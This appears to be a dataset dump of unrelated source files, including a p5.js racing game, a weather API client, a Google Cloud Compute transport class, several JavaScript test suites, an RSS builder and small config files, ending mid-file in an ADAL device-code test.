text
stringlengths
3
1.05M
class Game { constructor() {} getState() { var gameStateRef = database.ref("gameState"); gameStateRef.on("value", function(data) { gameState = data.val(); }); } update(state) { database.ref("/").update({ gameState: state }); } start() { player = new Player(); playerCount = player.getCount(); form = new Form(); form.display(); car1 = createSprite(width / 2 - 50, height - 100); car1.addImage("car1", car1_img); car1.scale = 0.07; car2 = createSprite(width / 2 + 100, height - 100); car2.addImage("car2", car2_img); car2.scale = 0.07; cars = [car1, car2]; } handleElements() { form.hide(); form.titleImg.position(40, 50); form.titleImg.class("gameTitleAfterEffect"); } play() { this.handleElements(); Player.getPlayersInfo(); if (allPlayers !== undefined) { image(track, 0, -height * 5, width, height * 6); //index of the array var index = 0; for (var plr in allPlayers) { //add 1 to the index for every loop index = index + 1; //use data form the database to display the cars in x and y direction var x = allPlayers[plr].positionX; var y = height - allPlayers[plr].positionY; cars[index - 1].position.x = x; cars[index - 1].position.y = y; if (index === player.index){ stroke(10) fill("red") elipse(x,y,60,60) camera.position.x = cars[index - 1].position.x = x; camera.position.y = cars[index - 1].position.y = y; } } this.handlePlayerControls(); drawSprites(); } } handlePlayerControls() { // handling keyboard events if (keyIsDown(UP_ARROW)) { player.positionY += 10; player.update(); } } }
import requests import datetime import json import math import path with open(path.KEY_PATH, 'r') as jsonFile: # local API key store key = json.load(jsonFile) url_hourly = "http://apis.skplanetx.com/weather/current/hourly" # URL headers = {'Content-Type': 'application/json; charset=utf-8', 'appKey': key['weather_app_key']} time = datetime.datetime.now().strftime('%H') # 시스템 시간 def request_current_weather(city, county, village, isHourly=True): # 지역에 따른 날씨 params = { "version": "1", "city": city, "county": county, "village": village } if isHourly: response = requests.get(url_hourly, params=params, headers=headers) if response.status_code == 200: response_body = response.json() # 응답에 성공시 json파일로 if isHourly: # 날씨 정보 weather_data = response_body['weather']['hourly'][0] return hourly(weather_data) else: return # 에러 def hourly(weather): # 현재 날씨(시간별) temperature_tmax = weather['temperature']['tmax'] # 오늘의 최고기온 temperature_tc = weather['temperature']['tc'] # 1시간 현재기온 temperature_tmin = weather['temperature']['tmin'] # 오늘의 최저기온 sky_name = weather['sky']['name'] # 하늘상태 result = time + '시 기준으로 온도는 ' + temperature_tc + '도 이고, 최고 ' + temperature_tmax + '도, 최저' + temperature_tmin + '도, 하늘상태는 ' + sky_name + '입니다.' return result if __name__ == '__main__': # requestCurrentWeather('city', 'county', 'village') print(request_current_weather('서울', '강남구', '논현동'))
# -*- coding: utf-8 -*- # Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # import abc from typing import Awaitable, Callable, Dict, Optional, Sequence, Union import packaging.version import pkg_resources from requests import __version__ as requests_version import google.auth # type: ignore import google.api_core # type: ignore from google.api_core import exceptions as core_exceptions # type: ignore from google.api_core import gapic_v1 # type: ignore from google.api_core import retry as retries # type: ignore from google.auth import credentials as ga_credentials # type: ignore from google.oauth2 import service_account # type: ignore from google.cloud.compute_v1.types import compute try: DEFAULT_CLIENT_INFO = gapic_v1.client_info.ClientInfo( gapic_version=pkg_resources.get_distribution("google-cloud-compute",).version, grpc_version=None, rest_version=requests_version, ) except pkg_resources.DistributionNotFound: DEFAULT_CLIENT_INFO = gapic_v1.client_info.ClientInfo() try: # google.auth.__version__ was added in 1.26.0 _GOOGLE_AUTH_VERSION = google.auth.__version__ except AttributeError: try: # try pkg_resources if it is available _GOOGLE_AUTH_VERSION = pkg_resources.get_distribution("google-auth").version except pkg_resources.DistributionNotFound: # pragma: NO COVER _GOOGLE_AUTH_VERSION = None class InstanceGroupManagersTransport(abc.ABC): """Abstract transport class for InstanceGroupManagers.""" AUTH_SCOPES = ( "https://www.googleapis.com/auth/compute", "https://www.googleapis.com/auth/cloud-platform", ) DEFAULT_HOST: str = "compute.googleapis.com" def __init__( self, *, host: str = DEFAULT_HOST, credentials: ga_credentials.Credentials = None, credentials_file: Optional[str] = None, scopes: Optional[Sequence[str]] = None, quota_project_id: Optional[str] = None, client_info: gapic_v1.client_info.ClientInfo = DEFAULT_CLIENT_INFO, always_use_jwt_access: Optional[bool] = False, **kwargs, ) -> None: """Instantiate the transport. Args: host (Optional[str]): The hostname to connect to. credentials (Optional[google.auth.credentials.Credentials]): The authorization credentials to attach to requests. These credentials identify the application to the service; if none are specified, the client will attempt to ascertain the credentials from the environment. credentials_file (Optional[str]): A file with credentials that can be loaded with :func:`google.auth.load_credentials_from_file`. This argument is mutually exclusive with credentials. scopes (Optional[Sequence[str]]): A list of scopes. quota_project_id (Optional[str]): An optional project to use for billing and quota. client_info (google.api_core.gapic_v1.client_info.ClientInfo): The client info used to send a user-agent string along with API requests. If ``None``, then default info will be used. Generally, you only need to set this if you're developing your own client library. always_use_jwt_access (Optional[bool]): Whether self signed JWT should be used for service account credentials. """ # Save the hostname. Default to port 443 (HTTPS) if none is specified. if ":" not in host: host += ":443" self._host = host scopes_kwargs = self._get_scopes_kwargs(self._host, scopes) # Save the scopes. self._scopes = scopes # If no credentials are provided, then determine the appropriate # defaults. if credentials and credentials_file: raise core_exceptions.DuplicateCredentialArgs( "'credentials_file' and 'credentials' are mutually exclusive" ) if credentials_file is not None: credentials, _ = google.auth.load_credentials_from_file( credentials_file, **scopes_kwargs, quota_project_id=quota_project_id ) elif credentials is None: credentials, _ = google.auth.default( **scopes_kwargs, quota_project_id=quota_project_id ) # If the credentials is service account credentials, then always try to use self signed JWT. if ( always_use_jwt_access and isinstance(credentials, service_account.Credentials) and hasattr(service_account.Credentials, "with_always_use_jwt_access") ): credentials = credentials.with_always_use_jwt_access(True) # Save the credentials. self._credentials = credentials # TODO(busunkim): This method is in the base transport # to avoid duplicating code across the transport classes. These functions # should be deleted once the minimum required versions of google-auth is increased. # TODO: Remove this function once google-auth >= 1.25.0 is required @classmethod def _get_scopes_kwargs( cls, host: str, scopes: Optional[Sequence[str]] ) -> Dict[str, Optional[Sequence[str]]]: """Returns scopes kwargs to pass to google-auth methods depending on the google-auth version""" scopes_kwargs = {} if _GOOGLE_AUTH_VERSION and ( packaging.version.parse(_GOOGLE_AUTH_VERSION) >= packaging.version.parse("1.25.0") ): scopes_kwargs = {"scopes": scopes, "default_scopes": cls.AUTH_SCOPES} else: scopes_kwargs = {"scopes": scopes or cls.AUTH_SCOPES} return scopes_kwargs def _prep_wrapped_messages(self, client_info): # Precompute the wrapped methods. self._wrapped_methods = { self.abandon_instances: gapic_v1.method.wrap_method( self.abandon_instances, default_timeout=None, client_info=client_info, ), self.aggregated_list: gapic_v1.method.wrap_method( self.aggregated_list, default_timeout=None, client_info=client_info, ), self.apply_updates_to_instances: gapic_v1.method.wrap_method( self.apply_updates_to_instances, default_timeout=None, client_info=client_info, ), self.create_instances: gapic_v1.method.wrap_method( self.create_instances, default_timeout=None, client_info=client_info, ), self.delete: gapic_v1.method.wrap_method( self.delete, default_timeout=None, client_info=client_info, ), self.delete_instances: gapic_v1.method.wrap_method( self.delete_instances, default_timeout=None, client_info=client_info, ), self.delete_per_instance_configs: gapic_v1.method.wrap_method( self.delete_per_instance_configs, default_timeout=None, client_info=client_info, ), self.get: gapic_v1.method.wrap_method( self.get, default_timeout=None, client_info=client_info, ), self.insert: gapic_v1.method.wrap_method( self.insert, default_timeout=None, client_info=client_info, ), self.list: gapic_v1.method.wrap_method( self.list, default_timeout=None, client_info=client_info, ), self.list_errors: gapic_v1.method.wrap_method( self.list_errors, default_timeout=None, client_info=client_info, ), self.list_managed_instances: gapic_v1.method.wrap_method( self.list_managed_instances, default_timeout=None, client_info=client_info, ), self.list_per_instance_configs: gapic_v1.method.wrap_method( self.list_per_instance_configs, default_timeout=None, client_info=client_info, ), self.patch: gapic_v1.method.wrap_method( self.patch, default_timeout=None, client_info=client_info, ), self.patch_per_instance_configs: gapic_v1.method.wrap_method( self.patch_per_instance_configs, default_timeout=None, client_info=client_info, ), self.recreate_instances: gapic_v1.method.wrap_method( self.recreate_instances, default_timeout=None, client_info=client_info, ), self.resize: gapic_v1.method.wrap_method( self.resize, default_timeout=None, client_info=client_info, ), self.set_instance_template: gapic_v1.method.wrap_method( self.set_instance_template, default_timeout=None, client_info=client_info, ), self.set_target_pools: gapic_v1.method.wrap_method( self.set_target_pools, default_timeout=None, client_info=client_info, ), self.update_per_instance_configs: gapic_v1.method.wrap_method( self.update_per_instance_configs, default_timeout=None, client_info=client_info, ), } @property def abandon_instances( self, ) -> Callable[ [compute.AbandonInstancesInstanceGroupManagerRequest], Union[compute.Operation, Awaitable[compute.Operation]], ]: raise NotImplementedError() @property def aggregated_list( self, ) -> Callable[ [compute.AggregatedListInstanceGroupManagersRequest], Union[ compute.InstanceGroupManagerAggregatedList, Awaitable[compute.InstanceGroupManagerAggregatedList], ], ]: raise NotImplementedError() @property def apply_updates_to_instances( self, ) -> Callable[ [compute.ApplyUpdatesToInstancesInstanceGroupManagerRequest], Union[compute.Operation, Awaitable[compute.Operation]], ]: raise NotImplementedError() @property def create_instances( self, ) -> Callable[ [compute.CreateInstancesInstanceGroupManagerRequest], Union[compute.Operation, Awaitable[compute.Operation]], ]: raise NotImplementedError() @property def delete( self, ) -> Callable[ [compute.DeleteInstanceGroupManagerRequest], Union[compute.Operation, Awaitable[compute.Operation]], ]: raise NotImplementedError() @property def delete_instances( self, ) -> Callable[ [compute.DeleteInstancesInstanceGroupManagerRequest], Union[compute.Operation, Awaitable[compute.Operation]], ]: raise NotImplementedError() @property def delete_per_instance_configs( self, ) -> Callable[ [compute.DeletePerInstanceConfigsInstanceGroupManagerRequest], Union[compute.Operation, Awaitable[compute.Operation]], ]: raise NotImplementedError() @property def get( self, ) -> Callable[ [compute.GetInstanceGroupManagerRequest], Union[compute.InstanceGroupManager, Awaitable[compute.InstanceGroupManager]], ]: raise NotImplementedError() @property def insert( self, ) -> Callable[ [compute.InsertInstanceGroupManagerRequest], Union[compute.Operation, Awaitable[compute.Operation]], ]: raise NotImplementedError() @property def list( self, ) -> Callable[ [compute.ListInstanceGroupManagersRequest], Union[ compute.InstanceGroupManagerList, Awaitable[compute.InstanceGroupManagerList], ], ]: raise NotImplementedError() @property def list_errors( self, ) -> Callable[ [compute.ListErrorsInstanceGroupManagersRequest], Union[ compute.InstanceGroupManagersListErrorsResponse, Awaitable[compute.InstanceGroupManagersListErrorsResponse], ], ]: raise NotImplementedError() @property def list_managed_instances( self, ) -> Callable[ [compute.ListManagedInstancesInstanceGroupManagersRequest], Union[ compute.InstanceGroupManagersListManagedInstancesResponse, Awaitable[compute.InstanceGroupManagersListManagedInstancesResponse], ], ]: raise NotImplementedError() @property def list_per_instance_configs( self, ) -> Callable[ [compute.ListPerInstanceConfigsInstanceGroupManagersRequest], Union[ compute.InstanceGroupManagersListPerInstanceConfigsResp, Awaitable[compute.InstanceGroupManagersListPerInstanceConfigsResp], ], ]: raise NotImplementedError() @property def patch( self, ) -> Callable[ [compute.PatchInstanceGroupManagerRequest], Union[compute.Operation, Awaitable[compute.Operation]], ]: raise NotImplementedError() @property def patch_per_instance_configs( self, ) -> Callable[ [compute.PatchPerInstanceConfigsInstanceGroupManagerRequest], Union[compute.Operation, Awaitable[compute.Operation]], ]: raise NotImplementedError() @property def recreate_instances( self, ) -> Callable[ [compute.RecreateInstancesInstanceGroupManagerRequest], Union[compute.Operation, Awaitable[compute.Operation]], ]: raise NotImplementedError() @property def resize( self, ) -> Callable[ [compute.ResizeInstanceGroupManagerRequest], Union[compute.Operation, Awaitable[compute.Operation]], ]: raise NotImplementedError() @property def set_instance_template( self, ) -> Callable[ [compute.SetInstanceTemplateInstanceGroupManagerRequest], Union[compute.Operation, Awaitable[compute.Operation]], ]: raise NotImplementedError() @property def set_target_pools( self, ) -> Callable[ [compute.SetTargetPoolsInstanceGroupManagerRequest], Union[compute.Operation, Awaitable[compute.Operation]], ]: raise NotImplementedError() @property def update_per_instance_configs( self, ) -> Callable[ [compute.UpdatePerInstanceConfigsInstanceGroupManagerRequest], Union[compute.Operation, Awaitable[compute.Operation]], ]: raise NotImplementedError() __all__ = ("InstanceGroupManagersTransport",)
var should = require('should'), sinon = require('sinon'), events = require('events'), gearmanode = require('../lib/gearmanode'), protocol = require('../lib/gearmanode/protocol'), Worker = gearmanode.Worker, Job = gearmanode.Job, JobServer = require('../lib/gearmanode/job-server').JobServer; describe('Worker', function() { var w, j; beforeEach(function() { w = gearmanode.worker(); w.emit = sinon.spy(); w.jobServers[0].send = sinon.spy(); w._preSleep = sinon.spy(); j = new Job(w, {handle: 'HANDLE', name: 'NAME', payload: 'PAYLOAD', jobServerUid: 'UID'}); j.jobServerUid = w.jobServers[0].getUid(); }); describe('#factory', function() { it('should return default instance of Worker', function() { w.should.be.an.instanceof(Worker); w.withUnique.should.be.false; w.recoverTime.should.equal(30000); w.recoverLimit.should.equal(3); w._type.should.equal('Worker'); should.exist(w.jobServers); should.exist(w.functions); Object.keys(w.functions).length.should.equal(0); }) it('should store additional options', function() { w = gearmanode.worker({ withUnique: true, recoverTime: 1, recoverLimit: 1 }); w.withUnique.should.be.true; w.recoverTime.should.equal(1); w.recoverLimit.should.equal(1); }) }) describe('#close', function() { it('should clean up object', function() { w.functions['reverse'] = [function() {}, {}]; // mock the functions Object.keys(w.functions).length.should.equal(1); w.on('error', function() {}); events.EventEmitter.listenerCount(w, 'error').should.equal(1); w.close(); w.closed.should.be.true; Object.keys(w.functions).length.should.equal(0); events.EventEmitter.listenerCount(w, 'error').should.equal(0); }) it('should emit event on itself', function() { w.close(); w.emit.calledTwice.should.be.true; // diconnect + close w.emit.getCall(0).args[0].should.equal('socketDisconnect'); w.emit.getCall(1).args[0].should.equal('close'); }) }) describe('#addFunction', function() { it('should set many managing values', function() { w.addFunction('reverse', function() {}); Object.keys(w.functions).length.should.equal(1); should.exist(w.functions.reverse); w.functions.reverse.should.be.an.instanceof(Array); w.functions.reverse.length.should.equal(2); w.functions.reverse[0].should.be.an.instanceof(Function); Object.keys(w.functions.reverse[1]).length.should.equal(0); // empty options: {} w.jobServers[0].send.calledOnce.should.be.true; w._preSleep.calledOnce.should.be.true; }) it('should store additional options', function() { w.addFunction('reverse', function() {}, {timeout: 10, toStringEncoding: 'ascii'}); Object.keys(w.functions.reverse[1]).length.should.equal(2); w.functions.reverse[1].timeout.should.equal(10); w.functions.reverse[1].toStringEncoding.should.equal('ascii'); }) it('should return error when invalid function name', function() { w.addFunction(undefined, function() {}).should.be.an.instanceof(Error); w.addFunction(null, function() {}).should.be.an.instanceof(Error); w.addFunction('', function() {}).should.be.an.instanceof(Error); }) it('should return error when invalid options', function() { w.addFunction('foo', function() {}, {foo: true}).should.be.an.instanceof(Error); w.addFunction('foo', function() {}, {toStringEncoding: 'InVaLiD'}).should.be.an.instanceof(Error); }) it('should return error when no callback given', function() { w.addFunction('reverse').should.be.an.instanceof(Error); }) it('should send corresponding packet', function(done) { w.jobServers[0].send = function(buff) { var packetType = buff.readUInt32BE(4); packetType.should.equal(protocol.PACKET_TYPES.CAN_DO); done(); } w.addFunction('reverse', function() {}); }) it('with timeout should send corresponding packet', function(done) { w.jobServers[0].send = function(buff) { var packetType = buff.readUInt32BE(4); packetType.should.equal(protocol.PACKET_TYPES.CAN_DO_TIMEOUT); done(); } w.addFunction('reverse', function() {}, {timeout: 10}); }) }) describe('#removeFunction', function() { it('should unset many managing values', function() { w.addFunction('reverse', function() {}); w.removeFunction('reverse'); Object.keys(w.functions).length.should.equal(0); should.not.exist(w.functions.reverse); w.jobServers[0].send.calledTwice.should.be.true; // addRunction + removeFunction }) it('should return error when function name not known', function() { w.addFunction('foo', function() {}); w.removeFunction('bar').should.be.an.instanceof(Error); }) it('should return error when invalid function name', function() { w.removeFunction(undefined).should.be.an.instanceof(Error); w.removeFunction(null).should.be.an.instanceof(Error); w.removeFunction('').should.be.an.instanceof(Error); }) it('should send packet to job server', function() { w.addFunction('foo', function() {}); w.removeFunction('foo'); w.jobServers[0].send.calledTwice.should.be.true; // add + remove }) }) describe('#resetAbilities', function() { it('should send packet to job server', function() { w.resetAbilities(); w.jobServers[0].send.calledOnce.should.be.true; }) }) describe('#setWorkerId', function() { it('should return error when invalid workerId', function() { w.setWorkerId().should.be.an.instanceof(Error); w.setWorkerId(null).should.be.an.instanceof(Error); w.setWorkerId('').should.be.an.instanceof(Error); should.not.exist(w.setWorkerId('id')); // returns 'null' if validation ok }) it('should set workerId option on worker', function() { should.not.exist(w.workerId); w.setWorkerId('id'); w.workerId.should.equal('id'); }) it('should invoke `send` on job server', function() { w.setWorkerId('id'); w.jobServers[0].send.calledOnce.should.be.true; }) it('should send corresponding packet to job server', function(done) { w.jobServers[0].send = function(buff) { var packetType = buff.readUInt32BE(4); packetType.should.equal(protocol.PACKET_TYPES.SET_CLIENT_ID); done(); } w.setWorkerId('id'); }) }) describe('#_response', function() { it('should send GRAB_JOB when NOOP received', function(done) { w.jobServers[0].send = function(buff) { var packetType = buff.readUInt32BE(4); packetType.should.equal(protocol.PACKET_TYPES.GRAB_JOB); done(); } w._response(w.jobServers[0], protocol.PACKET_TYPES.NOOP); }) it('should send GRAB_JOB_UNIQ when NOOP received', function(done) { w.withUnique = true; w.jobServers[0].send = function(buff) { var packetType = buff.readUInt32BE(4); packetType.should.equal(protocol.PACKET_TYPES.GRAB_JOB_UNIQ); done(); } w._response(w.jobServers[0], protocol.PACKET_TYPES.NOOP); }) }) describe('#Job', function() { describe('#workComplete', function() { it('should send packets to job server', function() { j.workComplete(); w.jobServers[0].send.calledOnce.should.be.true; w._preSleep.calledOnce.should.be.true; w.jobServers[0].send.calledBefore(w._preSleep).should.be.true; j.closed.should.be.true; }) }) describe('#sendWorkData', function() { it('should send packet to job server', function() { j.sendWorkData('foo'); w.jobServers[0].send.calledOnce.should.be.true; should.not.exist(j.closed); }) }) describe('#reportStatus', function() { it('should send packet to job server', function() { j.reportStatus(1, 2); w.jobServers[0].send.calledOnce.should.be.true; should.not.exist(j.closed); }) it('should validate given parameters', function() { j.reportStatus().should.be.an.instanceof(Error); j.reportStatus(1).should.be.an.instanceof(Error); j.reportStatus(1, null).should.be.an.instanceof(Error); j.reportStatus(1, '').should.be.an.instanceof(Error); j.reportStatus('1', '2').should.be.an.instanceof(Error); w.jobServers[0].send.called.should.be.false; }) }) describe('#reportWarning', function() { it('should send packet to job server', function() { j.reportWarning('foo'); w.jobServers[0].send.calledOnce.should.be.true; should.not.exist(j.closed); }) }) describe('#reportError', function() { it('should send packet to job server', function() { j.reportError(); w.jobServers[0].send.calledOnce.should.be.true; w._preSleep.calledOnce.should.be.true; w.jobServers[0].send.calledBefore(w._preSleep).should.be.true; j.closed.should.be.true; }) }) describe('#reportException', function() { it('should send packet to job server', function() { j.reportException('NullPointerException#something cannot be null'); w.jobServers[0].send.calledOnce.should.be.true; w._preSleep.calledOnce.should.be.true; w.jobServers[0].send.calledBefore(w._preSleep).should.be.true; j.closed.should.be.true; }) }) }) })
/*! * Copyright (c) 2020 Digital Bazaar, Inc. All rights reserved. */ 'use strict'; const {config, util: {delay, clone}} = require('bedrock'); const {httpsAgent} = require('bedrock-https-agent'); const {httpClient} = require('@digitalbazaar/http-client'); const helpers = require('./helpers.js'); const sinon = require('sinon'); const brPassport = require('bedrock-passport'); const mockData = require('./mockData.json'); const privateKmsBaseUrl = `${config.server.baseUri}/kms`; const publicKmsBaseUrl = `${config.server.baseUri}/kms`; const baseURL = `${config.server.baseUri}/vc-issuer`; const timeout = 10000; describe('API', function() { describe('issue POST endpoint', function() { let agents; before(async function() { const accountId = 'urn:uuid:e9b57b37-2fea-43d6-82cb-f4a02c144e38'; const didMethod = 'key'; agents = await helpers.insertIssuerAgent({ privateKmsBaseUrl, publicKmsBaseUrl, didMethod, id: accountId, token: 'test-token-9b57b37-2fea-43d6-82cb-f4a02c144e38' }); }); after(async function() { // this is necessary due to mocha throwing // on uncaught exceptions due to a lingering fire and forget // promise made in CredentialStatusWriter // FIXME remove this once we implement a better bedrock shutdown // method: https://github.com/digitalbazaar/bedrock/issues/60 await delay(2000); }); it('should issue a credential', async function() { const {integration: {secrets}} = agents; const credential = clone(mockData.credential); const {token} = secrets; const result = await httpClient.post(`${baseURL}/issue`, { headers: {Authorization: `Bearer ${token}`}, json: {credential}, agent: httpsAgent, timeout }); result.status.should.equal(200); should.exist(result.data); result.data.should.be.an('object'); should.exist(result.data.verifiableCredential); const {verifiableCredential} = result.data; verifiableCredential.should.be.an('object'); should.exist(verifiableCredential['@context']); should.exist(verifiableCredential.id); should.exist(verifiableCredential.type); should.exist(verifiableCredential.issuer); should.exist(verifiableCredential.issuanceDate); should.exist(verifiableCredential.expirationDate); should.exist(verifiableCredential.credentialSubject); verifiableCredential.credentialSubject.should.be.an('object'); should.exist(verifiableCredential.credentialStatus); should.exist(verifiableCredential.proof); verifiableCredential.proof.should.be.an('object'); }); it('should not issue a duplicate credential', async function() { const {integration: {secrets}} = agents; const credential = clone(mockData.credential); credential.id = 'did:test:duplicate'; credential.credentialSubject.id = 'did:test:duplicate'; const {token} = secrets; // the first issue request should succeed const result = await httpClient.post(`${baseURL}/issue`, { headers: {Authorization: `Bearer ${token}`}, json: {credential}, agent: httpsAgent, timeout }); result.status.should.equal(200); should.exist(result.data); result.data.should.be.an('object'); should.exist(result.data.verifiableCredential); let err; let duplicateResult; try { duplicateResult = await httpClient.post(`${baseURL}/issue`, { headers: {Authorization: `Bearer ${token}`}, json: {credential}, agent: httpsAgent, timeout }); } catch(e) { err = e; } should.not.exist(duplicateResult); should.exist(err); err.status.should.equal(409); const {data} = err; data.should.have.property('message'); data.message.should.contain( 'Could not issue credential; duplicate credential ID.'); data.should.have.property('type'); data.type.should.contain('DuplicateError'); }); }); describe('authenticate POST endpoint', function() { let presentation = null; beforeEach(function() { presentation = clone(mockData.authPresentation); }); it('should authenticate without an existing account', async function() { let result; let err; try { result = await httpClient.post(`${baseURL}/authenticate`, { json: {presentation}, agent: httpsAgent, timeout }); } catch(e) { err = e; } should.exist(result); should.not.exist(err); result.status.should.equal(200); result.data.should.be.an('object'); result.data.should.have.property('id'); result.data.id.should.be.a('string'); // accounts created by this method should not have an email result.data.should.not.have.property('email'); result.data.should.have.property('controller'); result.data.controller.should.be.a('string'); result.data.controller.should.contain(presentation.holder); result.data.should.have.property('capabilityAgentSeed'); result.data.capabilityAgentSeed.should.be.a('string'); }); it('should authenticate with an existing account', async function() { const {account} = mockData.accounts.authenticate; await helpers.insertAccount({account}); const withController = { ...presentation, holder: account.controller }; let result; let err; try { result = await httpClient.post(`${baseURL}/authenticate`, { json: {presentation: withController}, agent: httpsAgent, timeout }); } catch(e) { err = e; } should.exist(result); should.not.exist(err); result.status.should.equal(200); result.data.should.be.an('object'); result.data.should.have.property('id'); result.data.id.should.be.a('string'); // existing accounts should return properties in the account object result.data.should.have.property('email'); result.data.email.should.be.a('string'); result.data.should.have.property('controller'); result.data.controller.should.be.a('string'); result.data.should.have.property('capabilityAgentSeed'); result.data.capabilityAgentSeed.should.be.a('string'); result.data.should.eql(account); }); it('should not authenticate without a holder', async function() { delete presentation.holder; let result; let err; try { result = await httpClient.post(`${baseURL}/authenticate`, { json: {presentation}, agent: httpsAgent, timeout }); } catch(e) { err = e; } should.not.exist(result); helpers.shouldBeAValidationError(err); }); it('should not authenticate without a proof', async function() { delete presentation.proof; let result; let err; try { result = await httpClient.post(`${baseURL}/authenticate`, { json: {presentation}, agent: httpsAgent, timeout }); } catch(e) { err = e; } should.not.exist(result); helpers.shouldBeAValidationError(err); }); it('should not authenticate without a verificationMethod', async function() { delete presentation.proof.verificationMethod; let result; let err; try { result = await httpClient.post(`${baseURL}/authenticate`, { json: {presentation}, agent: httpsAgent, timeout }); } catch(e) { err = e; } should.not.exist(result); helpers.shouldBeAValidationError(err); }); it('should not authenticate if the purpose is not authentication', async function() { presentation.proof.proofPurpose = 'test-failure'; let result; let err; try { result = await httpClient.post(`${baseURL}/authenticate`, { json: {presentation}, agent: httpsAgent, timeout }); } catch(e) { err = e; } should.not.exist(result); helpers.shouldBeAValidationError(err); }); }); // end authenticate POST describe.skip('rlc POST endpoint', function() { describe('authenticated', function() { let agents; let passportStub; const accountId = 'urn:uuid:c9b57b37-2fea-43d6-82cb-f4a02c144e39'; const didMethod = 'v1'; before(async function() { agents = await helpers.insertIssuerAgent({ id: accountId, didMethod, token: 'test-token-8b57b37-2fea-43d6-82cb-f4a02c144e22' }); passportStub = sinon.stub(brPassport, 'optionallyAuthenticated'); helpers.stubPassport({passportStub, account: {id: accountId}}); }); after(async function() { passportStub.restore(); // this is necessary due to mocha throwing // on uncaught exceptions due to a lingering fire and forget // promise made in CredentialStatusWriter // FIXME remove this once we implement a better bedrock shutdown // method: https://github.com/digitalbazaar/bedrock/issues/60 await delay(2000); }); it('should publish revocation list', async function() { const {integration} = agents; const {secrets, profileAgent} = integration; const instanceId = profileAgent.id; const rlcId = 'bar'; const {token} = secrets; const result = await httpClient.post( `${baseURL}/instances/${instanceId}/rlc/${rlcId}/publish`, { json: {profileAgent: instanceId}, headers: {Authorization: `Bearer ${token}`}, agent: httpsAgent, timeout }); result.status.should.equal(200); }); }); // end authenticated }); // end rlc POST describe('rlc GET endpoint', () => { }); // end rlc GET });
import asyncio import datetime import json import PyRSS2Gen from common import file, markdown, console rss_item_list = list() class NoOutput: def __init__(self): pass def publish(self, handler): pass class rss_item(PyRSS2Gen.RSSItem): def __init__(self, **kwargs): PyRSS2Gen.RSSItem.__init__(self, **kwargs) self.do_not_autooutput_description = self.description def publish(self, handler): self.description = NoOutput() PyRSS2Gen.RSSItem.publish(self, handler) def publish_extensions(self, handler): handler._write("<{1}><![CDATA[{0}]]></{1}>".format(self.do_not_autooutput_description, "description")) @asyncio.coroutine def async_markdown(system_config,raw): return markdown.markdown(system_config,raw) @asyncio.coroutine def make_rss_item(system_config,page_list, item, project_url): global rss_item_list location = "{0}/post/{1}".format(project_url, item["name"]) raw_document = yield from file.async_read_file("./document/{0}.md".format(item["name"])) desc = yield from async_markdown(system_config,raw_document) rss_item_list[page_list.index(item)] = rss_item(title=item["title"], link=location, description=desc, guid=PyRSS2Gen.Guid(location), pubDate=datetime.datetime.fromtimestamp(item["time"])) def make_rss(project_name, project_url, project_description, page_list, system_config): global rss_item_list if len(page_list) != 0: rss_item_list = list(range(0, len(page_list))) loop = asyncio.new_event_loop() asyncio.set_event_loop(loop) tasks = [make_rss_item(system_config,page_list, item, system_config["Project_URL"]) for item in page_list] loop.run_until_complete(asyncio.wait(tasks)) loop.close() rss = PyRSS2Gen.RSS2( title=project_name, link=project_url, description=project_description, lastBuildDate=datetime.datetime.now(), items=rss_item_list, generator="SilverBlog", docs="https://github.com/SilverBlogTeam") return rss.to_xml(encoding='utf-8') def build_rss(): system_config = json.loads(file.read_file("./config/system.json")) system_config["Lazyload"] = False page_list = json.loads(file.read_file("./config/page.json")) file.write_file("./document/rss.xml", make_rss(system_config["Project_Name"], system_config["Project_URL"], system_config["Project_Description"], page_list, system_config)) console.log("Success", "Build rss success!")
module.exports = { postcss: { plugins: [ autoprefixer(), pxtovw({ viewportWidth: 750, viewportHeight: 1334, unitPrecision: 3, viewportUnit: 'vw', selectorBlackList: ['.ignore', '.hairlines'], minPixelValue: 1, mediaQuery: false }) ] } }
/* Copyright (c) 2003-2013, CKSource - Frederico Knabben. All rights reserved. For licensing, see LICENSE.md or http://ckeditor.com/license */ CKEDITOR.plugins.setLang( 'stylescombo', 'ku', { label: 'شێواز', panelTitle: 'شێوازی ڕازاندنەوە', panelTitle1: 'شێوازی خشت', panelTitle2: 'شێوازی ناوهێڵ', panelTitle3: 'شێوازی بەرکار' });
from app import create_app app = create_app('default') if __name__ == '__main__': app.run(debug=True)
import Header from "./header" export default Header
/* * @copyright * Copyright © Microsoft Open Technologies, Inc. * * All Rights Reserved * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http: *www.apache.org/licenses/LICENSE-2.0 * * THIS CODE IS PROVIDED *AS IS* BASIS, WITHOUT WARRANTIES OR CONDITIONS * OF ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING WITHOUT LIMITATION * ANY IMPLIED WARRANTIES OR CONDITIONS OF TITLE, FITNESS FOR A * PARTICULAR PURPOSE, MERCHANTABILITY OR NON-INFRINGEMENT. * * See the Apache License, Version 2.0 for the specific language * governing permissions and limitations under the License. */ 'use strict'; /* Directive tells jshint that suite and test are globals defined by mocha */ /* global suite */ /* global test */ var assert = require('assert'); var nock = require('nock'); var querystring = require('querystring'); var url = require('url'); var util = require('./util/util'); var testRequire = util.testRequire; var cp = util.commonParameters; var adal = testRequire('adal'); var MemoryCache = testRequire('memory-cache'); var AuthenticationContext = adal.AuthenticationContext; suite('device-code', function () { setup(function () { util.resetLogging(); util.clearStaticCache(); }); function setupExpectedTokenRequestResponse(httpCode, returnDoc, authorityEndpoint, extraQP) { var authEndpoint = util.getNockAuthorityHost(authorityEndpoint); var queryParameters = {}; queryParameters['grant_type'] = 'device_code'; queryParameters['client_id'] = cp.clientId; queryParameters['resource'] = cp.resource; queryParameters['code'] = cp.deviceCode; var query = querystring.stringify(queryParameters); var tokenRequest = nock(authEndpoint) .filteringRequestBody(function (body) { return util.filterQueryString(query, body); }) .post(cp.tokenUrlPath, query) .reply(httpCode, returnDoc); util.matchStandardRequestHeaders(tokenRequest); return tokenRequest; } test('happy-path-successOnFirstRequest', function (done) { var response = util.createResponse(); var tokenRequest = 